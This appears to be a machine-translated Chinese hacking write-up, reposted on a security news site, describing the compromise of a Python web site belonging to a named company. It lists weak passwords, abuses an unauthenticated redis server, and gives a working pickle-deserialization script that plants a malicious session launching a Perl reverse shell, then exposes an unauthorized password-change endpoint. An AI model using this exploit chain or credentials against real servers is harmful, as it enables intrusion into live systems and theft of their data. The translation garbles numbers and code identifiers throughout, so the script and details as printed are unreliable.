Palm reading iReader a station Python vulnerability discovery-vulnerability warning-the black bar safety net

ID MYHACK58:62201676943
Type myhack58
Reporter 离别歌
Modified 2016-07-15T00:00:00


Python as a new generation of web development language, many of the Internet inside and outside the company network using their development site. Python web periphery there is also redis, memcached, a mongod, the supervisord is restarted, etc. services, we combine these services to a range of security issues, will be able to do many interesting things.

The target port is open by 6, 3 7 9 and 8 0 to 8 0 to 8 0 to 8 6, The 8 8 8 9, the 8 0 7 9

First, the 8 0 8 0~8 0 8 6 and 8 8 and 8 9 are web services, and is a station 6 3 7 9 is redis, 8 0 7 9 is a web service but with http Basic authentication.

One by one break.

  • 8 0 8 0~8 0 8 6, the 8 8 8 9: the presence of weak passwords: admin - admin1234
  • 6 3 7 9: storing in redis is not authorized to access
  • 8 0 7 9: the presence of weak passwords user - 1 2 3, the login view is found supervisord is restarted Management page

From easy to difficult, look at redis, it may be directly through the redis-scored root.

redis has been swept, public key:


Writing/root/. ssh/and/root/directory prompt is as follows:

(error) ERR Changing directory: Permission denied

May be redis is down right now. Then try to write the crontab for.


May really be right down.

We take a look at redis which put some what:


Look at this (dp1\nS'user'\np2\nI7\ns. Long, just like python's Pickle with. And the Pickle is you can execute python code.

So-some thoughts:

  1. Website is python development
  2. redis can write the file, but permissions are limited
  3. redis stores the serialized string, may be used as a session
  4. python deserialization process can execute the code

So, I think the following two ideas:

  1. Use redis to write a python webshell
  2. The use of anti-serialization directly execute python code

Obviously, the first method requires 1. Know the web path 2. redis has permission to write to web directory 3. Might want to restart the web service, but because we have supervisord is restarted to manage permissions, so restarting services is not difficult)

The second method is more practical. So, I wrote a python pickle deserialization use the script:

!/ usr/bin/env python

import cPickle import os import redis

class exp(object): def reduce(self): s = """perl-e 'use Socket;$i="";$p=4 4 3;socket(S,THE,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,cannot be stored correctly($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash-i");};'""" return (os. system, (s,))

e = exp() s = cPickle. dumps(e)

r = redis. Redis(host='xxx. xxx. xxx. xxx', port=6 3 7 9, db=0) r. set("e6c36e69a9cf9543243d7921aa1a3d8093b49441", s)

Execute this script, it is possible to...: 6 3 7 9 of the redis write a key for e6c36e69a9cf9543243d7921aa1a3d8093b49441, the value is a serialized string in the session.

And then we come to http://...: 8 0 8 0,the cookie is set session_id=e6c36e69a9cf9543243d7921aa1a3d8093b49441;refresh the page, the side of the shell bomb:


Analysis of nginx, you can find he is a python program open in the 8 0 8 1~8 0 8 6 port, and use nginx listening 8 8 8 9 port of the reverse proxy to do load balancing(feeling a little superfluous: the

upstream tornado_cmread{ server 0 8 6 max_fails=2 fail_timeout=30s weight=1; server 0 8 1 max_fails=2 fail_timeout=30s weight=1; server 0 8 2 max_fails=2 fail_timeout=30s weight=1; server 0 8 3 max_fails=2 fail_timeout=30s weight=1; server 0 8 4 max_fails=2 fail_timeout=30s weight=1; server 0 8 5 max_fails=2 fail_timeout=30s weight=1; keepalive 1 6; }

supervisord is restarted there is a weak password

[inet_http_server] ; inet (TCP) server disabled by default port=:8 0 7 9 ; (ip_address:port specifier, :port for all iface) username=user ; (default is no username (open server)) password=1 2 3 ; (default is no password (open server))


Basic can determine this station and palm reading:


Mailbox one of:


git log to view commit log:


Then simply look at the code, I found a place not authorized to modify management password:

class Page(BaseHandler): """ User login to exit the Change Password module """



def update_password(self): """ To change the password :return: """ user_id = self. get_argument("user_id", 0) password = self. get_argument("password", "") service = Service. inst() try: service. inst(). user. update_password(user_id, password) self. api_json({"code": Status. SUCCESS, "msg": "successfully modified"}) except Exception as e: logging. error("Change Password failed=%s", str(e), exc_info=True) self. api_json({"code": Status. ERROR, "msg": "failed to modify"})

[1] [2] next